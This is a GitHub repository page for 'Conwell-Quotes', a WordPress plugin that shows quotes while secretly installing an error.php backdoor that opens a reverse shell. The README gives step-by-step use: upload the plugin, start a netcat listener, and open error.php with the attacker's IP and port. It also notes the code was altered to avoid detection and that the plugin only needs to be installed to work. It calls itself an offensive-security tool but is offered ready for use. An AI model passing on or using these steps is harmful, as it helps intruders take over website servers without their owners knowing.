Skip to content

A malicious WordPress plugin that hides a reverse shell behind legitimate functionality - used for Offensive Security

License

Notifications You must be signed in to change notification settings

kylepott/Conwell-Quotes

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Conwell-Quotes

A malicious WordPress plugin that hides a reverse shell in a backdoor behind legitimate plugin functionality - used for legal and ethical offensive security purposes.

Purpose

Modeled after the Hello Dolly plugin, Conwell Quotes displays a random quote on each page of the WordPress admin portal based on Conwell's Acres of Diamonds (a great read BTW). It also uploads an error.php backdoor that can be used to open a reverse TCP shell. The reverse shell code was mostly written by Pen Test Monkey. The print lines have been either commented out, suppressed, or slightly modified to avoid detection.

Offensive Security Use

You'll want to pass the IP and port as URL parameters to error.php to match your attack system.

Upload the plugin to Wordpress, use netcat to open a listener on your attack machine, and then open http://example.com/wp-content/plugins/conwell/error.php?ip=XX.XXX.XXX.X&port=XXXXX in a browser. The sceen will clock, but will not display any notable error messages.

Note

Some hosts, like Bluehost, have their WordPress accounts on non-dedicated IPs which means they have nearly all ports blocked. You may not be able to use the malicious shell in error.php. However, the legitimate functionality in Conwell Quotes will still work and the user will not receive any error message.

When uploading the plugin, WordPress does not have any malware detection and so the plugin will install and activate as usual. To get access to the reverse shell, the plugin does not need to be activated, it simply needs to be installed. Yet another good reason to delete out any unused WordPress plugins.

About

A malicious WordPress plugin that hides a reverse shell behind legitimate functionality - used for Offensive Security

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages